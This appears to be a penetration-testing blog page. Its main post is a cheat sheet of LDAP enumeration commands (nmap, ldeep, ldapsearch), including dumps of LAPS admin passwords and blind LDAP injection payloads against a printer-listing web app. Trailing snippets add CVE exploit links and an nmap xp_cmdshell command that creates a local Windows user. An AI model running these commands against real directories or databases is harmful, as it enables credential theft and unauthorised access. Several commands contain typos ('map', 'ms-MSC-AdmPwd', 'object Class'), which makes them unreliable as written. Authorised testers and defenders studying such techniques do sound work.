Skip to main content

LDAP Enumeration - Ports 389,636,3268,3269

LDAP - Port 389 or LDAP SSL on Port 636
Nmap Scan 
map -n -sV --script "ldap* and not brute" -p389,636,3268,3269 10.10.10.10
nmap -sC -Pn -p389,636,3268,3269 10.10.10.10
#DUMP Everything from LDAP - Anonymous
ldeep ldap -a -d STEINS.local -s ldap://10.10.10.10 all dump

#Dump as an Authenticated User
ldeep ldap -u Administrator -p 'password' -d steins.local -s ldap://10.0.0.1 all dump
Basic LDAP Search Commands

#Get FULL Domain Name and it's contexts
ldapsearch -x -h 10.10.10.10 -s base namingcontexts 
ldapsearch -H ldap://10.10.10.10 -x -s base namingcontexts

#Dump accessible data from ldap
ldapsearch -x -h forest.htb.local -s sub -b 'DC=HTB,DC=LOCAL' | tee ldap_dump.txt

#Dumping passwords using LDAP:
ldapsearch -x -h forest.htb.local -b 'DC=HTB,DC=LOCAL' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

ldapsearch -x -h 10.10.10.254 -D <<username>> -w <<password>> -b "dc=AJLAB,dc=COM" "(ms-MCS-AdmPwd=*)" ms-MSC-AdmPwd
#Find the Domain Name of the DC

#Find some info or creds
ldapsearch -LLL -x -H ldap://DOMAIN.FQDN.COM -b '' -s base '(objectclass=*)'
JXplorer can be used to acess ldap service 

In the url or the response body, see if you can find "objectClass" - then its most probably using ldap
BLIND LDAP Injection - Web Application 

# Web App allows us to list all available printers from LDAP without any errors, below search filter is used
(&(objectclass=printer)(type=Canon*))

if we inject ,,*)(objectless=*))(&(objectClass=void", then the web application will issue the following query:
(&(objectclass=*)(objectClass=*))(&(objectClass=void)(type=Canon*))

in that case, only tyhe LDAP query will be processed resulting in (&(objectClass=*)(ObjectClass=*)) being extracted from blank field. 

 As a result, the printer icon will be shown to the client. As this query always returns results due to objectClass being set to a wildcard. We can construct further true/false statements in the following way : 
(&(objectClass=*)(object Class=users))(&object Class=foo)(type=Canon*))(&(objectClass=*)(objectClass=resources))(&object Class=foo)(type=Canon*)) 

Using such queries, it is possible to enumerate possible object classes based on true/false conditio (printer icon should be shown or not).

Similar logic can be used in case of "OR" blind LDAP injection. Consider the following query with injected part:

#query returns no object, so the printer icon should not be shown to the user.
(|(objectClass=void)(objectClass=void))(&objectClass=void)(type=Canon*)) 

#Enumerate Directory Structure
(|(objectClass=void)(objectClass=users))(&objectClass=void) (type=Canon*)) 
(|(objectClass=void)(object Class=resources))(&objectClass=void) (type=Canon*)) # List Local Users accounts
?objectClass=posixAccount

you can find ldap schema's here

# posixaccount Account contains below attributes
uidNumber
gidNumber
homedirectory
userpassword
sshPublicKey






Comments

Popular posts from this blog

POC Links for CVE's

  Serach for a CVE here first - Trickest/cve Apache CVE-2024-38475 - CVE-2024-38475 #version less than 2.4.51 CVE-2021-44790 - h ttps://www.exploit-db.com/exploits/51193 #Apache HTTP Server 2.4.50 CVE-2021-42013 - https://www.exploit-db.com/exploits/50406 use https://github.com/mrmtwoj/apache-vulnerability-testing for below CVE's CVE-2024-38472: Apache HTTP Server on Windows UNC SSRF CVE-2024-39573: mod_rewrite proxy handler substitution CVE-2024-38477: Crash resulting in Denial of Service in mod_proxy CVE-2024-38476: Exploitable backend application output causing internal redirects CVE-2024-38475: mod_rewrite weakness with filesystem path matching CVE-2024-38474: Weakness with encoded question marks in backreferences CVE-2024-38473: mod_proxy proxy encoding problem CVE-2023-38709: HTTP response splitting EXIM #suppodily should work for versions below Exim 4.96.1 - is not accurate CVE-2023-42115 - https://github.com/AdaHop-Cyber-Security/Pocy/tree/main

SQL DB & SQL Injection Pentest Cheat Sheet

1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds...

Cloud Pentest Cheatsheet - Azure

Azure Cloud offers a comprehensive ecosystem of tools and services. Among its core components are: Azure Active Directory (AAD) Azure Resource Manager (ARM) Office 365 (O365) Initial Access Try to get a user credential via OSINT/Social engineering or try to comprise a web application hosted on Azure VM. Enumerate the roles attached to the VM and try to escalate your privileges.   Entra ID Directory Role Entra ID directory roles are predefined roles that grant permissions to perform specific tasks within an Azure AD tenant. These roles are essential for managing administrative tasks in Entra ID. Types of Roles: Built-in Directory Roles Global Administrator Application Administrator User Administrator Custom Directory Roles Accessing APIs in Azure Entra ID - Access via Microsoft Graph API Endpoint {HTTP method} https://graph.microsoft.com/{version}/{resource}?{query-parameters} Azure Resource Manager API Endpoint (ARM-specific) {HTTP method} https://management.azure...